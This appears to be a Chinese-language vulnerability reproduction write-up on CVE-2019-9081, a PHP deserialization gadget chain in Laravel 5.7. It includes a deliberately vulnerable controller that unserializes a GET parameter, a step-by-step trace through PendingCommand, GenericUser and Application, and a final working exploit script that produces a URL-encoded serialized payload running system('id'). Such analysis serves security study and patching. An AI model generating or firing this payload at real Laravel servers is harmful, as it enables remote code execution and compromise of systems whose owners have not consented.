laravelPOP链(CVE-2019-9081)

环境

http://oss.lou00.top/img/CVE-2019-9081%20%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/CVE-2019-9081.zip

描述

CVE

在5.7.x中,存在一个PendingCommand类,其析构函数可以实现远程代码执行.

实验环境

laravel :5.7.28
需要找到一个可控的反序列化点

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace App\Http\Controllers;


class IndexController{
public function index(){
if(isset($_GET['string'])){
unserialize($_GET['string']);
}
return "ok";
}
}
?>

漏洞分析

根据cve找到PendingCommand类在目录./vendor/laravel/framework/src/illuminate/Foundation/Testing/PendingCommand.php
其成员变量为

1
2
3
4
5
6
public $test; //\Illuminate\Foundation\Testing\TestCase
protected $app; //\Illuminate\Foundation\Application
protected $command; //string
protected $parameters; //array
protected $expectedExitCode; //int
protected $hasExecuted = false; //bool

其析构函数

1
2
3
4
5
6
7
8
public function __destruct()
{
if ($this->hasExecuted) {
return;
}

$this->run();
}

跟进$this->run()发现备注上写着Execute the command
说明这函数可能用于执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;

$this->mockConsoleOutput();

try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}

throw $e;
}

if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}

return $exitCode;
}

这步$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);是执行命令的(如何执行后面会讲到)
目前我们要先绕过前面步骤(也就是让前面步骤不报错)
$this->hasExecuted = true; 这步不会报错,进入下一步
跟进$this->mockConsoleOutput();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);

return $question[1];
});
}

$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}

先执行$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [ (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(), ]);
OutputStyle::class.'[askQuestion]'为一字符串

第二参数可控
跟进看$this->createABufferedOutputMock()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();

foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}

return $mock;
}

执行$mock = Mockery::mock(BufferedOutput::class.'[doWrite]') ->shouldAllowMockingProtectedMethods() ->shouldIgnoreMissing();不会影响pop链,直接继续下一步
执行foreach ($this->test->expectedOutput as $i => $output)
全局搜索发现没有expectedOutput的方法,只能用__get
Illuminate\Auth\GenericUser里发现了这函数

1
2
3
4
public function __get($key)
{
return $this->attributes[$key];
}

unset()一个不存在的变量不会报错
用以下方法可以绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace {
$test = new \Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
)
);
}

至此createABufferedOutputMock()函数走通
回到Mockery::mock函数
跟进

1
2
3
4
public static function mock(...$args)
{
return call_user_func_array(array(self::getContainer(), 'mock'), $args);
}

继续跟进,由于之后函数比较长,只截取了和可控参数有关的参数

可以知道第二参数为一个array
$constructorArgs获取其参数

然后执行了下列函数

之后就返回了$mock没有报错
回到mockConsoleOutput()函数
执行foreach ($this->test->expectedQuestions as $i => $question)
发现可以用上面所诉的方法进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace {
$test = new \Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
}

接着先后执行了以下俩步

1
2
3
4
5
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

Kernel::class值为Illuminate\Contracts\Console\Kernel
$this->app[Kernel::class]可控
$this->app需要一个bind函数,或是__call
可以先将$this->app定为其原来的类\Illuminate\Foundation\Application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$app = new \Illuminate\Foundation\Application(
array("Illuminate\Contracts\Console\Kernel"=>"1")
);
}

这样直接过了$this->app->bind(OutputStyle::class, function ()use ($mock) {return $mock;});
然后如果开了debug模式的话会报出下列错误
-
构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$app = new \Illuminate\Foundation\Application(
array("Illuminate\Contracts\Console\Kernel"=>array(
"concrete"=>"xxxx" )
)
);
}

其中xxx为一个类,接着去寻找有call的类
发现\Illuminate\Foundation\Application有call
改为"concrete"=>"Illuminate\Foundation\Application"

$callback = $command
$parameters = $parameters
最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($test, $app,$command,$parameters){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$test;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$test = new \Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$app = new \Illuminate\Foundation\Application(
array("Illuminate\Contracts\Console\Kernel"=>array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$command = "system";
$parameters = array("id");
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($test,$app,$command,$parameters);
echo urlencode(serialize($pendingcommand));
}